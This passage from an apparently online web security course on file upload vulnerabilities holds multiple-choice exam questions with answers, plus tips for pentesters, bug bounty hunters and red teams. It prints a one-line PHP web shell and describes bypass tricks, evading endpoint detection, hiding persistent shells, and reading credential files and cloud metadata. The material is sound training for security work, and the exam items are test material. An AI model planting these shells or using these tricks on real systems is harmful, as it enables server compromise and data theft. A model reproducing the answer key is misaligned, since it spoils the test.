Q12. The semicolon trick `shell.asp;.jpg` is famously exploited on: A. Nginx B. IIS 6 and misconfigured IIS 7 C. Apache only D. Tomcat only Answer: B.

Q13. A `.user.ini` upload achieves RCE on PHP-FPM via: A. Database connection abuse B. The `auto_prepend_file` directive forcing every PHP request to include the attacker's file C. SQL injection D. Session hijacking Answer: B.

Q14. Zip Slip is: A. A network protocol B. Path traversal in archive entry names that lets the extractor write files outside the target directory C. A type of DoS D. A reverse shell Answer: B.

Q15. Race conditions in file uploads happen when: A. Two users upload at the same time B. The server writes the file to a public location first, validates after, and the attacker fetches it in the brief window before deletion C. Two extensions appear in the filename D. The CDN serves the file Answer: B.

Q16. Which CVE represents the SmarterMail unauthenticated upload RCE in 2025? A. CVE-2025-52691 B. CVE-2025-0001 C. CVE-2022-22954 D. CVE-2023-36845 Answer: A.

Q17. TikTok paid a bounty for an upload bug that abused which component? A. WAF B. FFmpeg processing of HLS playlists, leading to SSRF C. Antivirus D. Burp Suite Answer: B.

Q18. When the server re-encodes uploaded images, the polyglot trick typically fails because: A. The original pixel data is replaced and embedded PHP is stripped B. The image is rotated C. The image is encrypted D. The image is signed Answer: A.

Q19. A file upload that lands in a directory listed in `.htaccess` with `Options -ExecCGI` and no PHP handler will: A. Execute PHP normally B. NOT execute PHP because script execution is disabled there C. Crash the server D. Disable HTTPS Answer: B.

Q20. The safest filename to give to an uploaded file on disk is: A. The original filename B. A server-generated UUID or random hex string with a controlled extension C. The user's email address D. The MD5 of the user password Answer: B.

Q21. Stored XSS via file upload is most commonly achieved with: A. JPEG files B. SVG files containing `<script>` tags C. Encrypted ZIP files D. Empty TXT files Answer: B.

Q22. A `web.config` upload on IIS allows RCE by: A. Resetting the database B. Mapping arbitrary extensions to script handlers within that directory C. Disabling HTTPS D. Generating new keys Answer: B.

Q23. Which is true about MIME type validation? A. It is sufficient on its own B. It is just one of several layers and must be combined with extension allowlisting, magic bytes, and content scanning C. It is irrelevant D. It blocks XSS automatically Answer: B.

Q24. Apache Tomcat's CVE-2025-24813 abused: A. WebDAV PUT B. Partial PUT temp file naming, allowing path manipulation and content injection C. SQL injection D. CSRF Answer: B.

Q25. The PortSwigger Apprentice lab "Web shell upload via Content-Type restriction bypass" expects you to: A. Find SQL injection first B. Forge the Content-Type header in Burp to image/jpeg while uploading a `.php` C. Use a reverse proxy D. Solve a CAPTCHA Answer: B.

Q26. A simple PHP web shell that runs commands via a `c` query parameter is: A. `<?php system($_GET['c']); ?>` B. `<?php sleep(10); ?>` C. `<?php echo 'hello'; ?>` D. `<?php phpinfo(); ?>` Answer: A.

Q27. Storing user uploads on a separate domain like `uploads.anastech.com` helps because: A. It hides the files B. Any XSS from uploaded HTML/SVG cannot reach the main app via same-origin policy C. It compresses the files D. It encrypts the files Answer: B.

Q28. Which PortSwigger lab requires polyglot construction? A. Web shell upload via Content-Type restriction bypass B. Web shell upload via path traversal C. Remote code execution via polyglot web shell upload D. Web shell upload via race condition Answer: C.

Q29. The MOST effective single prevention rule is: A. Hide the upload form B. Allowlist extensions, rename files, and store outside the web root with execution disabled C. Use HTTPS only D. Set a CAPTCHA Answer: B.

Q30. The MOST important takeaway about file upload: A. Browsers protect users B. An uploaded file is just bytes; the danger comes from where it lands and how the server interprets it C. Antivirus is enough D. Only Wordpress is affected Answer: B.

22. Certificate Requirements

To earn the ANAS EDUCATION File Upload Certificate, the student must:

  • Complete every lesson in this module.
  • Complete all practical labs once released.
  • Pass the exam with at least 16 out of 20.

Only then will the course be marked complete on the student dashboard.

23. Important Notes

Common Beginner Mistakes

  • Testing only `shell.php` and giving up at the first error.
  • Trusting the "Uploaded successfully" response without fetching the file URL to confirm execution.
  • Forgetting to test path traversal in the filename.
  • Not trying `.htaccess`, `web.config`, and `.user.ini`.
  • Reporting "I uploaded a PHP file" as the bug without proving execution.
  • Confusing stored XSS via upload (rendered HTML/SVG) with RCE (executed server-side script).
  • Forgetting that Apache parses every extension in `shell.php.jpg`.
  • Not toggling Content-Type in Burp to test MIME-only validators.

Pentester Tips

  • Always test the file URL after upload. "Saved" without "executed" is a low-severity finding.
  • Identify the server before throwing payloads. Apache, Nginx, IIS, and Tomcat each have different mappings.
  • When stuck, try `.htaccess` and `.user.ini` last. They often bypass clever extension filters.
  • Use fuxploider as a sanity check, but verify every finding manually.
  • Combine upload bugs with path traversal, SSRF, and XXE for chain reports.

Bug Bounty Tips

  • Upload RCE typically pays 5,000 to 75,000 dollars depending on the target.
  • Always escalate to host compromise, not just "I uploaded a shell".
  • Show the impact: read `/etc/passwd`, the `.env` file, the cloud metadata.
  • Marketing automation, CMS plugins, white-label SaaS, and ticketing tools are the highest-paying upload hunting grounds.
  • Old WordPress plugins are upload-RCE goldmines. The Patchstack monthly competition is a great training ground.
  • Look for "import", "restore", "theme installer", and "plugin upload" features in admin areas first.

Red Team Notes

  • Upload RCE on a public-facing app is one of the cleanest paths to initial access.
  • The payload is the exploit. No malware delivery needed.
  • EDR rarely flags a benign-looking `.phtml` or `.phar` upload.
  • Combine upload RCE with cloud metadata SSRF for credentials and lateral movement.
  • Persistence via shells in `/var/www/html/uploads/` is silent and survives many restarts.

Real-World Advice

  • When response code is `0` from your reverse shell stager, the command ran but is detached. Check your listener.
  • When response code is `403`, the file uploaded but the directory blocks execution.
  • When response code is `500`, your PHP has a syntax error. Test the shell locally first.
  • Always check for `disable_functions` in `phpinfo()` output. If `system()` is disabled, switch to `popen()`, backticks, or `proc_open()`.
  • Modern PHP-FPM often runs as `www-data` with no shell. Use `/bin/sh` not `/bin/bash` until you upgrade the shell.

Things to Remember During Exams

  • CWE-434 ==> Unrestricted File Upload.
  • `<?php system($_GET['c']); ?>` is the universal canary.
  • Apache executable PHP extensions: `.php`, `.phtml`, `.pht`, `.phar`, `.php5`, `.php7`, `.phps`.
  • Allowlist > Blacklist. Always.
  • The five validation layers: extension, MIME, magic bytes, content, storage location.
  • Polyglot files defeat magic-byte-only validators.
  • `.htaccess` overrides server config inside a directory.
  • `.user.ini` `auto_prepend_file` is the silent killer.

Things to Remember During Real Assessments

  • Get explicit written permission before throwing reverse shells.
  • Use benign payloads (`id`, `whoami`, `hostname`) first to confirm execution without damage.
  • Never run reverse shells against production without a clear scope statement allowing them.
  • Save the full HTTP request/response pair with the multipart boundaries intact.
  • Clean up: remove `/tmp/shell.sh`, the uploaded shell, the `.htaccess` override, and any other artifacts.

Frequently Confused Concepts

  • File Upload vs Path Traversal. Upload writes new content; traversal reads existing content. Together they are catastrophic.
  • Stored XSS via Upload vs RCE. XSS executes in the browser of another user; RCE executes on the server itself.
  • Antivirus vs Allowlist. AV is signature-based and easy to evade; allowlist denies the dangerous class entirely.
  • Polyglot vs Encrypted Payload. Polyglot is valid in two formats; encrypted is one format that needs a decoder.
  • Stored on Disk vs Served by Web Server. A file can be on disk and not reachable; only files in the web root or behind a download endpoint are served.

Interview Tips

  • Explain file upload without the word "shell" first. Many interviewers test whether you can teach simply.
  • Cite CVE-2025-0520 (ShowDoc), CVE-2025-52691 (SmarterMail), and Starbucks (HackerOne) as recent real-world examples.
  • Mention CWE-434 and the five validation layers.
  • Always finish with the defense: allowlist, rename, store outside webroot, disable execution.
  • Be ready to draw the safe-vs-vulnerable code from memory.

Key Takeaways

  • An uploaded file is just bytes; the danger is in where it lands and how the server interprets it.
  • The bug class is universal across every language and every CMS.
  • Detection is one probe: upload a script, fetch the URL, look for execution.
  • Escalation depends on the server, but the principle is the same: from any execution primitive, walk to a reverse shell.
  • The fix is one architectural rule: user-supplied files are inert data, never executable code.

24. Final Word from Your Instructor

File upload is the vulnerability that turns innocent media features into total server compromise.

Every time a developer writes:

php
move_uploaded_file($_FILES['file']['tmp_name'], "/var/www/html/uploads/" . $_FILES['file']['name']);

A new file upload bug is born somewhere in the world.

Every time someone uploads `.phtml` and watches `id` come back, a new finding is documented.

Your job is to look at any upload form and ask three questions, in this order:

  • Where does the file land on disk?
  • Who is allowed to choose the filename?
  • Does the server treat any of these extensions as code?

If you can answer those three questions about a feature, you know whether it is safe.

When you see a profile picture uploader, ask: "What does the server do with these bytes?"

When you see a CV upload on a careers page, ask: "Does this PDF parser run on the server with shell access?"

When you see a CMS theme installer, ask: "Does the framework unzip this archive without sanitizing entry names?"

When you see a video upload, ask: "Does FFmpeg fetch URLs from inside this file?"

When you see a PDF previewer, ask: "Does the parser resolve XML entities?"

If the answer takes you to a place where uploaded bytes become server code, you have found a bug worth tens of thousands of dollars.

The polyglot JPEG/PHP trick is one of the most reliable RCE techniques in modern engagements. Memorize it.

The `.htaccess` override is the silent killer when extension blacklists look airtight. Memorize it.

The `.user.ini` `auto_prepend_file` chain is the move that wins when even `.htaccess` is blocked. Memorize it.

The zip-slip on legacy plugin importers is still paying bounties in 2026. Memorize it.

The fingerprinting table is your map. The payload arsenal is your toolkit. The mindset is your superpower.

  • Welcome to the upload underworld. Welcome to the bug class where a single twelve-byte file tells the whole story.
  • Go hunt.